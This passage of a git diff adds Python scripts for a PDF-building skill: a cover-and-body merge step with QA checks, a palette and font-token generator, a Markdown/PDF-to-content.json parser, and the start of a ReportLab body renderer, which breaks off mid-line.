as f: + writer.write(f) + + size_kb = os.path.getsize(out_path) // 1024 + total_pages = len(writer.pages) + + # ── QA checks ───────────────────────────────────────────────────────────── + warnings = [] + + # Page count sanity + cover_pages = len(PdfReader(cover_path).pages) + body_pages = len(PdfReader(body_path).pages) + if cover_pages != 1: + warnings.append(f"Cover PDF has {cover_pages} pages (expected 1)") + + # File size sanity + if size_kb < 20: + warnings.append(f"Output is very small ({size_kb} KB) — may have blank pages") + if size_kb > 50_000: + warnings.append(f"Output is very large ({size_kb} KB) — consider compressing images") + + report = { + "status": "ok", + "out": out_path, + "total_pages": total_pages, + "cover_pages": cover_pages, + "body_pages": body_pages, + "size_kb": size_kb, + } + if warnings: + report["warnings"] = warnings + + return report + + +def main(): + parser = argparse.ArgumentParser(description="Merge cover + body PDFs") + parser.add_argument("--cover", required=True) + parser.add_argument("--body", required=True) + parser.add_argument("--out", required=True) + parser.add_argument("--title", default="") + args = parser.parse_args() + + result = merge(args.cover, args.body, args.out, args.title) + + if result["status"] == "error": + print(json.dumps(result), file=sys.stderr) + sys.exit(3) + + print(json.dumps(result)) + + # Human-readable QA summary + print(f"\n── Build complete ──────────────────────────────────────") + print(f" Output : {result['out']}") + print(f" Pages : {result['total_pages']} total (1 cover + {result['body_pages']} body)") + print(f" Size : {result['size_kb']} KB") + if result.get("warnings"): + print(f" ⚠ Warnings:") + for w in result["warnings"]: + print(f" • {w}") + else: + print(f" ✓ No issues detected") + print(f"────────────────────────────────────────────────────────\n") + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/palette.py b/skills/minimax-pdf/scripts/palette.py new file mode 100644 index 0000000..9988aff --- /dev/null +++ b/skills/minimax-pdf/scripts/palette.py @@ -0,0 +1,521 @@ +#!/usr/bin/env python3 +""" +palette.py — Infer design tokens from document metadata. + +Usage: + python3 palette.py --title "AI Trends 2025" --type report --out tokens.json + python3 palette.py --title "John Doe Resume" --type resume --out tokens.json + python3 palette.py --meta meta.json --out tokens.json + +Outputs tokens.json consumed by all downstream scripts. +Cover fonts are loaded via Google Fonts @import in the cover HTML (no local caching). +Body fonts always use ReportLab system fonts (Times-Bold / Helvetica). +Exit codes: 0 success, 1 bad args, 3 write error +""" + +import argparse +import json +import sys + +# ── Palette library ──────────────────────────────────────────────────────────── +# Each entry: cover colors + cover_pattern + mood +PALETTES = { + "report": { + # Charcoal blue-grey cover; muted steel blue accent — authoritative, not flashy + "cover_bg": "#1B2A38", + "accent": "#3B6D8A", + "accent_lt": "#E6EFF5", + "text_light": "#EDE9E2", + "page_bg": "#FAFAF8", + "dark": "#1A1E24", + "body_text": "#2C2C30", + "muted": "#7A7A84", + "cover_pattern": "fullbleed", + "mood": "authoritative", + }, + "proposal": { + # Dark charcoal cover; slate grey-blue accent — confident, understated + "cover_bg": "#22272E", + "accent": "#4E6070", + "accent_lt": "#EAECEE", + "text_light": "#EDE9E2", + "page_bg": "#FAFAF7", + "dark": "#18191E", + "body_text": "#28282E", + "muted": "#7A7870", + "cover_pattern": "split", + "mood": "confident", + }, + "resume": { + # White; deep navy accent — clean and unambiguous + "cover_bg": "#FFFFFF", + "accent": "#1C3557", + "accent_lt": "#E8EEF5", + "text_light": "#FFFFFF", + "page_bg": "#FFFFFF", + "dark": "#111111", + "body_text": "#222222", + "muted": "#888888", + "cover_pattern": "typographic", + "mood": "clean", + }, + "portfolio": { + # Near-black charcoal; cool slate grey accent — subdued professional + "cover_bg": "#191C20", + "accent": "#6A7A88", + "accent_lt": "#EAECEE", + "text_light": "#EDE9E4", + "page_bg": "#F8F8F8", + "dark": "#18191E", + "body_text": "#28282E", + "muted": "#8A8A96", + "cover_pattern": "atmospheric", + "mood": "expressive", + }, + "academic": { + # Warm white; classic navy accent — scholarly standard + "cover_bg": "#F5F4F0", + "accent": "#2A436A", + "accent_lt": "#E6EBF4", + "text_light": "#FFFFFF", + "page_bg": "#F5F4F0", + "dark": "#1A1A28", + "body_text": "#1E1E2A", + "muted": "#686877", + "cover_pattern": "typographic", + "mood": "scholarly", + }, + "general": { + # Dark slate; muted steel accent — neutral, no-nonsense + "cover_bg": "#1F2329", + "accent": "#4A6070", + "accent_lt": "#E6EAEC", + "text_light": "#EEEBE5", + "page_bg": "#F8F6F2", + "dark": "#1A1A1A", + "body_text": "#2C2C2C", + "muted": "#888888", + "cover_pattern": "fullbleed", + "mood": "neutral", + }, + # ── Extended types — each uses a distinct new cover pattern ───────────────── + "minimal": { + # Warm off-white; dark neutral grey — truly restrained, no color signal + "cover_bg": "#F7F6F4", + "accent": "#4A4A4A", + "accent_lt": "#EBEBEA", + "text_light": "#F7F6F4", + "page_bg": "#F7F6F4", + "dark": "#111111", + "body_text": "#222222", + "muted": "#999999", + "cover_pattern": "minimal", + "mood": "restrained", + }, + "stripe": { + # Near-black; charcoal slate accent — structured, no-nonsense + "cover_bg": "#1E222A", + "accent": "#4A5568", + "accent_lt": "#EAECEE", + "text_light": "#FFFFFF", + "page_bg": "#F8F8F7", + "dark": "#0E1117", + "body_text": "#262630", + "muted": "#888898", + "cover_pattern": "stripe", + "mood": "bold", + }, + "diagonal": { + # Deep navy; muted slate-blue accent — dignified, controlled + "cover_bg": "#1A2535", + "accent": "#3D5A72", + "accent_lt": "#E4EBF0", + "text_light": "#EEF0F5", + "page_bg": "#F8FAFC", + "dark": "#0F1A2A", + "body_text": "#1E2C3A", + "muted": "#7A8A96", + "cover_pattern": "diagonal", + "mood": "dynamic", + }, + "frame": { + # Warm parchment; dark muted brown — classical, formal + "cover_bg": "#F5F2EC", + "accent": "#5C4A38", + "accent_lt": "#EAE5DE", + "text_light": "#F5F2EC", + "page_bg": "#F5F2EC", + "dark": "#2A1E14", + "body_text": "#2C2018", + "muted": "#9A8A78", + "cover_pattern": "frame", + "mood": "classical", + }, + "editorial": { + # White; deep burgundy accent — editorial weight without the shout + "cover_bg": "#FFFFFF", + "accent": "#7A2B36", + "accent_lt": "#EEE4E5", + "text_light": "#FFFFFF", + "page_bg": "#FFFFFF", + "dark": "#0A0A0A", + "body_text": "#1A1A1A", + "muted": "#777777", + "cover_pattern": "editorial", + "mood": "editorial", + }, + # ── New patterns (v2) ──────────────────────────────────────────────────────── + "magazine": { + # Warm linen; deep navy accent — formal publication standard + "cover_bg": "#F0EEE9", + "accent": "#1C3557", + "accent_lt": "#E4EBF3", + "text_light": "#FFFFFF", + "page_bg": "#F0EEE9", + "dark": "#0D1A2B", + "body_text": "#2A2A2A", + "muted": "#888888", + "cover_pattern": "magazine", + "mood": "magazine", + }, + "darkroom": { + # Deep navy; muted steel-blue accent — premium, controlled + "cover_bg": "#151C27", + "accent": "#3D5A7A", + "accent_lt": "#E2EBF2", + "text_light": "#EDE9E2", + "page_bg": "#F7F7F5", + "dark": "#0A1018", + "body_text": "#2C2C2C", + "muted": "#8A9AB0", + "cover_pattern": "darkroom", + "mood": "darkroom", + }, + "terminal": { + # Near-black; forest green accent — technical, serious (not neon) + "cover_bg": "#0D1117", + "accent": "#3D7A5C", + "accent_lt": "#E2EEE8", + "text_light": "#E6EDF3", + "page_bg": "#F8F8F6", + "dark": "#010409", + "body_text": "#2C2C2C", + "muted": "#5A7A6A", + "cover_pattern": "terminal", + "mood": "terminal", + }, + "poster": { + # White; near-black accent sidebar — stark, unambiguous + "cover_bg": "#FFFFFF", + "accent": "#0A0A0A", + "accent_lt": "#EBEBEA", + "text_light": "#FFFFFF", + "page_bg": "#FFFFFF", + "dark": "#0A0A0A", + "body_text": "#1A1A1A", + "muted": "#888888", + "cover_pattern": "poster", + "mood": "poster", + }, +} + +# ── Font pairs — CSS names for cover HTML, ReportLab names for body ───────────── +# cover uses Google Fonts via @import (no local disk caching needed) +# body always uses system fonts via ReportLab +FONT_PAIRS = { + "authoritative": { + "display_css": "Playfair Display", + "body_css": "IBM Plex Sans", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Playfair+Display:wght@700;900&family=IBM+Plex+Sans:ital,wght@0,400;0,600;1,400&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "confident": { + "display_css": "Syne", + "body_css": "Nunito Sans", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Syne:wght@600;800&family=Nunito+Sans:wght@400;600;700&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "clean": { + "display_css": "DM Serif Display", + "body_css": "DM Sans", + "gfonts_import": "https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=DM+Sans:wght@300;400;500&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "expressive": { + "display_css": "Fraunces", + "body_css": "Inter", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Fraunces:ital,wght@0,700;0,900;1,900&family=Inter:wght@300;400;500&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "scholarly": { + "display_css": "EB Garamond", + "body_css": "Source Sans 3", + "gfonts_import": "https://fonts.googleapis.com/css2?family=EB+Garamond:ital,wght@0,400;0,700;1,400&family=Source+Sans+3:wght@400;600&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "neutral": { + "display_css": "Outfit", + "body_css": "Outfit", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Outfit:wght@300;400;700;900&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "restrained": { + "display_css": "Cormorant Garamond", + "body_css": "Jost", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Cormorant+Garamond:ital,wght@0,300;0,600;1,300&family=Jost:wght@300;400;500&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "bold": { + "display_css": "Barlow Condensed", + "body_css": "Barlow", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@700;900&family=Barlow:wght@400;500;600&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "dynamic": { + "display_css": "Montserrat", + "body_css": "Montserrat", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,700;0,900;1,400&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "classical": { + "display_css": "Cormorant", + "body_css": "Crimson Pro", + "gfonts_import": "https://fonts.googleapis.com/css2?family=Cormorant:ital,wght@0,400;0,700;1,400&family=Crimson+Pro:wght@400;600&display=swap", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "editorial": { + "display_css": "Bebas Neue", + "body_css": "Libre Franklin", + "gfonts_import": ( + "https://fonts.googleapis.com/css2?family=Bebas+Neue" + "&family=Libre+Franklin:ital,wght@0,400;0,700;1,400&display=swap" + ), + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + # ── New moods (v2) ─────────────────────────────────────────────────────────── + "magazine": { + "display_css": "Playfair Display", + "body_css": "EB Garamond", + "gfonts_import": ( + "https://fonts.googleapis.com/css2?family=Playfair+Display" + ":ital,wght@0,700;0,900;1,700" + "&family=EB+Garamond:ital,wght@0,400;0,600;1,400&display=swap" + ), + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "darkroom": { + "display_css": "Playfair Display", + "body_css": "EB Garamond", + "gfonts_import": ( + "https://fonts.googleapis.com/css2?family=Playfair+Display" + ":ital,wght@0,700;0,900;1,700" + "&family=EB+Garamond:ital,wght@0,400;0,600;1,400&display=swap" + ), + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", + }, + "terminal": { + "display_css": "Space Mono", + "body_css": "Space Mono", + "gfonts_import": ( + "https://fonts.googleapis.com/css2?family=Space+Mono" + ":ital,wght@0,400;0,700;1,400&display=swap" + ), + "display_rl": "Courier-Bold", + "body_rl": "Courier", + "body_b_rl": "Courier-Bold", + }, + "poster": { + "display_css": "Barlow Condensed", + "body_css": "Courier Prime", + "gfonts_import": ( + "https://fonts.googleapis.com/css2?family=Barlow+Condensed" + ":wght@700;900" + "&family=Courier+Prime:ital,wght@0,400;0,700;1,400&display=swap" + ), + "display_rl": "Times-Bold", + "body_rl": "Courier", + "body_b_rl": "Courier-Bold", + }, +} + +SYSTEM_FALLBACK = { + "display_css": "Georgia", + "body_css": "Arial", + "gfonts_import": "", + "display_rl": "Times-Bold", + "body_rl": "Helvetica", + "body_b_rl": "Helvetica-Bold", +} + + +# ── Colour helpers ────────────────────────────────────────────────────────────── +def _hex_to_rgb(h: str) -> tuple: + h = h.lstrip("#") + return int(h[0:2], 16), int(h[2:4], 16), int(h[4:6], 16) + + +def _lighten(hex_color: str, factor: float = 0.09) -> str: + """Blend hex_color toward white (factor = accent weight, 0=white, 1=full color).""" + r, g, b = _hex_to_rgb(hex_color) + return "#{:02X}{:02X}{:02X}".format( + round(r * factor + 255 * (1 - factor)), + round(g * factor + 255 * (1 - factor)), + round(b * factor + 255 * (1 - factor)), + ) + + +# ── Token assembly ───────────────────────────────────────────────────────────── +def build_tokens( + title: str, + doc_type: str, + author: str = "", + date: str = "", + accent_override: str = "", + cover_bg_override: str = "", +) -> dict: + palette = PALETTES.get(doc_type, PALETTES["general"]).copy() + mood = palette["mood"] + font_pair = FONT_PAIRS.get(mood, SYSTEM_FALLBACK) + + # Apply caller-supplied overrides before token assembly + if accent_override: + palette["accent"] = accent_override + palette["accent_lt"] = _lighten(accent_override, 0.09) + if cover_bg_override: + palette["cover_bg"] = cover_bg_override + + tokens = { + # Identity + "title": title, + "author": author, + "date": date, + "doc_type": doc_type, + + # Palette + "cover_bg": palette["cover_bg"], + "accent": palette["accent"], + "accent_lt": palette["accent_lt"], + "text_light": palette["text_light"], + "page_bg": palette["page_bg"], + "dark": palette["dark"], + "body_text": palette["body_text"], + "muted": palette["muted"], + "cover_pattern": palette["cover_pattern"], + "mood": mood, + + # Typography — CSS names for cover HTML (loaded via Google Fonts @import) + "font_display": font_pair["display_css"], + "font_body": font_pair["body_css"], + "gfonts_import": font_pair["gfonts_import"], + + # Typography — ReportLab system font names for body pages + "font_display_rl": font_pair["display_rl"], + "font_body_rl": font_pair["body_rl"], + "font_body_b_rl": font_pair["body_b_rl"], + + # Legacy keys (kept so render_body.py's register_fonts is a no-op) + "font_heading": font_pair["display_rl"], + "font_body_b": font_pair["body_b_rl"], + "font_paths": {}, + + # Type scale (pt) + "size_display": 54, + "size_h1": 22, + "size_h2": 15, + "size_h3": 11.5, + "size_body": 10.5, + "size_caption": 8.5, + "size_meta": 8, + + # Layout (pt, 1cm ≈ 28.35pt) + "margin_left": 79, # 2.8cm + "margin_right": 79, + "margin_top": 79, + "margin_bottom": 71, # 2.5cm + "section_gap": 26, + "para_gap": 8, + "line_gap": 17, + } + return tokens + + +# ── CLI ─────────────────────────────────────────────────────────────────────── +def main(): + parser = argparse.ArgumentParser(description="Generate design tokens from document metadata") + parser.add_argument("--title", default="Untitled Document") + parser.add_argument("--type", default="general", + choices=list(PALETTES.keys()), + help="Document type: " + ", ".join(PALETTES.keys())) + parser.add_argument("--author", default="") + parser.add_argument("--date", default="") + parser.add_argument("--meta", help="JSON file with title/type/author/date keys") + parser.add_argument("--accent", default="", + help="Override accent colour (hex, e.g. #2D6A8F). " + "accent_lt is auto-derived by lightening toward white.") + parser.add_argument("--cover-bg", default="", + help="Override cover background colour (hex).") + parser.add_argument("--out", default="tokens.json") + args = parser.parse_args() + + if args.meta: + try: + with open(args.meta) as f: + meta = json.load(f) + args.title = meta.get("title", args.title) + args.type = meta.get("type", args.type) + args.author = meta.get("author", args.author) + args.date = meta.get("date", args.date) + except Exception as e: + print(json.dumps({"status": "error", "error": str(e)}), file=sys.stderr) + sys.exit(1) + + tokens = build_tokens( + args.title, args.type, args.author, args.date, + accent_override=args.accent, + cover_bg_override=getattr(args, "cover_bg", ""), + ) + + try: + with open(args.out, "w") as f: + json.dump(tokens, f, indent=2) + except Exception as e: + print(json.dumps({"status": "error", "error": str(e)}), file=sys.stderr) + sys.exit(3) + + print(json.dumps({ + "status": "ok", + "out": args.out, + "mood": tokens["mood"], + "pattern": tokens["cover_pattern"], + "fonts": f'{tokens["font_display"]} / {tokens["font_body"]}', + })) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/reformat_parse.py b/skills/minimax-pdf/scripts/reformat_parse.py new file mode 100644 index 0000000..be125d5 --- /dev/null +++ b/skills/minimax-pdf/scripts/reformat_parse.py @@ -0,0 +1,374 @@ +#!/usr/bin/env python3 +""" +reformat_parse.py — Convert an existing document into content.json, +then hand off to the CREATE pipeline (render_body.py). + +Supported input formats: + .md / .txt — Markdown / plain text + .pdf — Extract text from existing PDF (layout preserved as best-effort) + .json — Pass-through if already content.json format + +Usage: + python3 reformat_parse.py --input doc.md --out content.json + python3 reformat_parse.py --input old.pdf --out content.json + python3 reformat_parse.py --input data.json --out content.json + +Then pipe into the CREATE pipeline: + python3 render_body.py --tokens tokens.json --content content.json --out body.pdf + +Or use make.sh reformat which does both steps: + bash make.sh reformat --input doc.md --type report --title "My Report" --out output.pdf + +Exit codes: 0 success, 1 bad args / unsupported format, 2 dep missing, 3 parse error +""" + +import argparse +import json +import os +import re +import sys +import importlib.util +from pathlib import Path + + + + +def ensure_deps(): + missing = [] + if importlib.util.find_spec("pypdf") is None: + missing.append("pypdf") + if missing: + import subprocess + subprocess.check_call( + [sys.executable, "-m", "pip", "install", "--break-system-packages", "-q"] + missing + ) + + +ensure_deps() + + +# ── Markdown / plain text parser ─────────────────────────────────────────────── +def parse_markdown(text: str) -> list: + """ + Convert Markdown to content.json blocks. + Supports: # headings, **bold**, bullet lists, > blockquotes (→ callout), + | tables |, plain paragraphs. + """ + blocks = [] + lines = text.splitlines() + i = 0 + + def flush_para(buf: list): + t = " ".join(buf).strip() + if t: + blocks.append({"type": "body", "text": _md_inline(t)}) + + para_buf = [] + + while i < len(lines): + line = lines[i] + stripped = line.strip() + + # Blank line — flush paragraph buffer + if not stripped: + flush_para(para_buf) + para_buf = [] + i += 1 + continue + + # ATX Headings: # ## ### + m = re.match(r'^(#{1,3})\s+(.*)', stripped) + if m: + flush_para(para_buf) + para_buf = [] + level = len(m.group(1)) + htype = {1: "h1", 2: "h2", 3: "h3"}.get(level, "h3") + blocks.append({"type": htype, "text": _md_inline(m.group(2))}) + i += 1 + continue + + # Display math block: $$expr$$ on one line, or opening $$ ... closing $$ + if stripped.startswith("$$"): + flush_para(para_buf) + para_buf = [] + inline_expr = stripped[2:].rstrip("$").strip() + if inline_expr: + # Single-line: $$E = mc^2$$ + blocks.append({"type": "math", "text": inline_expr}) + i += 1 + else: + # Multi-line: opening $$ alone, then expression lines, then closing $$ + math_lines = [] + i += 1 + while i < len(lines) and lines[i].strip() != "$$": + math_lines.append(lines[i]) + i += 1 + if i < len(lines): + i += 1 # skip closing $$ + blocks.append({"type": "math", "text": "\n".join(math_lines).strip()}) + continue + + # Fenced code block: ``` or ~~~ + if stripped.startswith("```") or stripped.startswith("~~~"): + flush_para(para_buf) + para_buf = [] + fence = stripped[:3] + code_lines = [] + i += 1 + while i < len(lines) and not lines[i].strip().startswith(fence): + code_lines.append(lines[i]) + i += 1 + if i < len(lines): + i += 1 # skip closing fence + blocks.append({"type": "code", "text": "\n".join(code_lines)}) + continue + + # Blockquote → callout + if stripped.startswith(">"): + flush_para(para_buf) + para_buf = [] + qt = re.sub(r'^>\s*', '', stripped) + blocks.append({"type": "callout", "text": _md_inline(qt)}) + i += 1 + continue + + # Unordered bullet: -, *, + + if re.match(r'^[-*+]\s+', stripped): + flush_para(para_buf) + para_buf = [] + text_part = re.sub(r'^[-*+]\s+', '', stripped) + blocks.append({"type": "bullet", "text": _md_inline(text_part)}) + i += 1 + continue + + # Ordered list: 1. 2. etc. → numbered (preserves counter in render_body) + if re.match(r'^\d+\.\s+', stripped): + flush_para(para_buf) + para_buf = [] + text_part = re.sub(r'^\d+\.\s+', '', stripped) + blocks.append({"type": "numbered", "text": _md_inline(text_part)}) + i += 1 + continue + + # Table: | col | col | + if stripped.startswith("|"): + flush_para(para_buf) + para_buf = [] + table_lines = [] + while i < len(lines) and lines[i].strip().startswith("|"): + table_lines.append(lines[i].strip()) + i += 1 + # Remove separator rows (|---|---|) + data_rows = [r for r in table_lines if not re.match(r'^\|[-:| ]+\|$', r)] + parsed = [] + for row in data_rows: + cells = [c.strip() for c in row.strip("|").split("|")] + parsed.append(cells) + if len(parsed) >= 2: + blocks.append({ + "type": "table", + "headers": parsed[0], + "rows": parsed[1:], + }) + elif len(parsed) == 1: + # Single row — treat as paragraph + blocks.append({"type": "body", "text": " | ".join(parsed[0])}) + continue + + # Horizontal rule → spacer + if re.match(r'^[-*_]{3,}$', stripped): + flush_para(para_buf) + para_buf = [] + blocks.append({"type": "spacer", "pt": 16}) + i += 1 + continue + + # Plain text → accumulate into paragraph + para_buf.append(stripped) + i += 1 + + flush_para(para_buf) + return blocks + + +def _md_inline(text: str) -> str: + """Convert inline Markdown to ReportLab XML markup.""" + # Bold: **text** or __text__ + text = re.sub(r'\*\*(.+?)\*\*', r'\1', text) + text = re.sub(r'__(.+?)__', r'\1', text) + # Italic: *text* or _text_ + text = re.sub(r'\*(.+?)\*', r'\1', text) + text = re.sub(r'_(.+?)_', r'\1', text) + # Inline code: `code` + text = re.sub(r'`(.+?)`', r'\1', text) + # Strip markdown links, keep text + text = re.sub(r'\[(.+?)\]\(.+?\)', r'\1', text) + return text + + +# ── PDF text extractor ───────────────────────────────────────────────────────── +def parse_pdf(pdf_path: str) -> list: + """ + Extract text from an existing PDF and convert to content.json blocks. + Best-effort: detects headings by font size heuristics if available, + otherwise falls back to paragraph splitting. + """ + from pypdf import PdfReader + + reader = PdfReader(pdf_path) + all_text = [] + + for page in reader.pages: + text = page.extract_text() + if text: + all_text.append(text.strip()) + + full_text = "\n\n".join(all_text) + + # Treat extracted PDF text as plain text / light markdown + # (most PDFs lose formatting — we do our best) + return parse_plain(full_text) + + +def parse_plain(text: str) -> list: + """ + Heuristic plain-text parser. + Short ALL-CAPS or title-case lines → headings. + Everything else → paragraphs. + """ + blocks = [] + paragraphs = re.split(r'\n{2,}', text.strip()) + + for para in paragraphs: + para = para.strip() + if not para: + continue + + lines = para.splitlines() + + # Single short line that looks like a heading + if len(lines) == 1 and len(para) < 80: + if para.isupper() or re.match(r'^[A-Z][^.!?]*$', para): + blocks.append({"type": "h1", "text": para.title()}) + continue + + # Bullet lists + if lines[0].startswith(("- ", "• ", "* ")): + for line in lines: + text_part = re.sub(r'^[-•*]\s+', '', line.strip()) + if text_part: + blocks.append({"type": "bullet", "text": text_part}) + continue + + # Regular paragraph + blocks.append({"type": "body", "text": " ".join(lines)}) + + return blocks + + +# ── Pass-through validator ───────────────────────────────────────────────────── +VALID_TYPES = {"h1","h2","h3","body","bullet","numbered","callout","table", + "image","code","math","divider","caption","pagebreak","spacer"} + +def validate_content_json(data: list) -> tuple[list, list]: + """Return (valid_blocks, warnings).""" + valid, warnings = [], [] + for i, block in enumerate(data): + if not isinstance(block, dict): + warnings.append(f"Block {i}: not a dict, skipped") + continue + btype = block.get("type") + if btype not in VALID_TYPES: + warnings.append(f"Block {i}: unknown type '{btype}', kept as-is") + valid.append(block) + return valid, warnings + + +# ── Dispatcher ───────────────────────────────────────────────────────────────── +def parse_file(input_path: str) -> tuple[list, list]: + """Return (blocks, warnings).""" + ext = Path(input_path).suffix.lower() + + if ext in (".md", ".txt", ".markdown"): + with open(input_path, encoding="utf-8", errors="replace") as f: + text = f.read() + blocks = parse_markdown(text) + return blocks, [] + + if ext == ".pdf": + blocks = parse_pdf(input_path) + return blocks, ["PDF text extraction is best-effort — review content.json before rendering"] + + if ext == ".json": + with open(input_path) as f: + data = json.load(f) + if isinstance(data, list): + return validate_content_json(data) + # Maybe it's a meta-wrapper {"content": [...]} + if isinstance(data, dict) and "content" in data: + return validate_content_json(data["content"]) + return [], [f"JSON file does not contain a list of content blocks"] + + return [], [f"Unsupported file type: {ext}. Supported: .md .txt .pdf .json"] + + +# ── CLI ──────────────────────────────────────────────────────────────────────── +def main(): + parser = argparse.ArgumentParser(description="Parse a document into content.json") + parser.add_argument("--input", required=True, help="Input file (.md, .txt, .pdf, .json)") + parser.add_argument("--out", default="content.json", help="Output content.json path") + args = parser.parse_args() + + if not os.path.exists(args.input): + print(json.dumps({"status": "error", "error": f"File not found: {args.input}"}), + file=sys.stderr) + sys.exit(1) + + try: + blocks, warnings = parse_file(args.input) + except Exception as e: + import traceback + print(json.dumps({"status": "error", "error": str(e), + "trace": traceback.format_exc()}), file=sys.stderr) + sys.exit(3) + + if not blocks: + print(json.dumps({ + "status": "error", + "error": "No content blocks extracted", + "warnings": warnings, + }), file=sys.stderr) + sys.exit(3) + + with open(args.out, "w", encoding="utf-8") as f: + json.dump(blocks, f, indent=2, ensure_ascii=False) + + result = { + "status": "ok", + "out": args.out, + "block_count": len(blocks), + "warnings": warnings, + } + print(json.dumps(result, indent=2)) + + print(f"\n── Parsed {args.input} ─────────────────────────────────────", + file=sys.stderr) + print(f" Blocks : {len(blocks)}", file=sys.stderr) + + type_counts: dict = {} + for b in blocks: + type_counts[b.get("type","?")] = type_counts.get(b.get("type","?"), 0) + 1 + for t, n in sorted(type_counts.items()): + print(f" {t:12} × {n}", file=sys.stderr) + + if warnings: + print(f" Warnings:", file=sys.stderr) + for w in warnings: + print(f" ⚠ {w}", file=sys.stderr) + print(f"\n Next: bash make.sh run --content {args.out} --title '...' --type ...", + file=sys.stderr) + print("", file=sys.stderr) + + +if __name__ == "__main__": + main() diff --git a/skills/minimax-pdf/scripts/render_body.py b/skills/minimax-pdf/scripts/render_body.py new file mode 100644 index 0000000..ef81de8 --- /dev/null +++ b/skills/minimax-pdf/scripts/render_body.py @@ -0,0 +1,1052 @@ +#!/usr/bin/env python3 +""" +render_body.py — Build the inner-page PDF from tokens.json + content.json. + +Usage: + python3 render_body.py --tokens tokens.json --content content.json --out body.pdf + +Block types: + h1 h2 h3 Headings (h1 adds a full-width accent rule below) + body Justified prose paragraph + bullet Bullet list item (• prefix) + numbered Auto-numbered list item (resets when interrupted) + callout Highlighted insight box with left accent bar + table Data table with accent header + alternating rows + image Inline image from file path + figure Image with auto-numbered "Figure N:" caption + code Monospace code block with accent left border + math Display math formula via matplotlib mathtext + chart Bar / line / pie chart rendered via matplotlib + flowchart Process diagram rendered via matplotlib + bibliography Numbered reference list + divider Full-width accent rule + caption Small muted text (e.g., under a figure) + pagebreak Force a new page + spacer Vertical whitespace (pt field, default 12) + +Exit codes: 0 success, 1 bad args/missing file, 2 missing dep, 3 render error +""" + +import argparse +import io +import json +import os +import sys +import importlib.util + + +# ── Dependency bootstrap ─────────────────────────────────────────────────────── +def ensure_deps(): + missing = [p for p in ("reportlab", "pypdf") + if importlib.util.find_spec(p) is None] + if missing: + import subprocess + subprocess.check_call( + [sys.executable, "-m", "pip", "install", + "--break-system-packages", "-q"] + missing + ) + + +ensure_deps() + +from reportlab.platypus import ( + BaseDocTemplate, PageTemplate, Frame, + Paragraph, Spacer, Table, TableStyle, + HRFlowable, PageBreak, Flowable, KeepTogether, + Preformatted, Image as RLImage, +) +from reportlab.lib.pagesizes import A4 +from reportlab.lib.styles import ParagraphStyle +from reportlab.lib.colors import HexColor +from reportlab.lib.enums import TA_JUSTIFY, TA_CENTER +from reportlab.pdfbase import pdfmetrics +from reportlab.pdfbase.ttfonts import TTFont + + +# ── Font registration ────────────────────────────────────────────────────────── +def register_fonts(tokens: dict): + """Register TTF fonts from token font_paths if present.""" + for name, fpath in tokens.get("font_paths", {}).items(): + if os.path.exists(fpath): + try: + pdfmetrics.registerFont(TTFont(name, fpath)) + except Exception: + pass + + +# ══════════════════════════════════════════════════════════════════════════════ +# Custom Flowables +# ══════════════════════════════════════════════════════════════════════════════ + +class CalloutBox(Flowable): + """Highlighted insight box: coloured background + 4px left accent bar.""" + + def __init__(self, text: str, style, accent: str, bg: str): + super().__init__() + self._para = Paragraph(text, style) + self._accent = HexColor(accent) + self._bg = HexColor(bg) + + def wrap(self, aw, ah): + self._w = aw + _, ph = self._para.wrap(aw - 36, ah) + self._h = ph + 22 + return aw, self._h + + def draw(self): + c = self.canv + c.setFillColor(self._bg) + c.roundRect(0, 0, self._w, self._h, 5, fill=1, stroke=0) + c.setFillColor(self._accent) + c.rect(0, 0, 4, self._h, fill=1, stroke=0) + self._para.drawOn(c, 18, 11) + + +class BibliographyItem(Flowable): + """Single hanging-indent bibliography entry rendered as [N] text.""" + + LABEL_W = 28 + + def __init__(self, ref_id: str, text: str, style, dark: str): + super().__init__() + self._id = ref_id + self._text = text + self._style = style + self._dark = HexColor(dark) + + def wrap(self, aw, ah): + self._w = aw + self._para = Paragraph(self._text, self._style) + _, ph = self._para.wrap(aw - self.LABEL_W, ah) + self._h = ph + 4 + return aw, self._h + + def draw(self): + c = self.canv + c.setFillColor(self._dark) + c.setFont("Helvetica-Bold", 8.5) + c.drawString(0, self._h - 12, f"[{self._id}]") + self._para.drawOn(c, self.LABEL_W, 2) + + +# ══════════════════════════════════════════════════════════════════════════════ +# Page template (header + footer) +# ══════════════════════════════════════════════════════════════════════════════ + +class BeautifulDoc(BaseDocTemplate): + def __init__(self, path: str, tokens: dict, **kw): + self._t = tokens + super().__init__(path, **kw) + fr = Frame( + self.leftMargin, self.bottomMargin, + self.width, 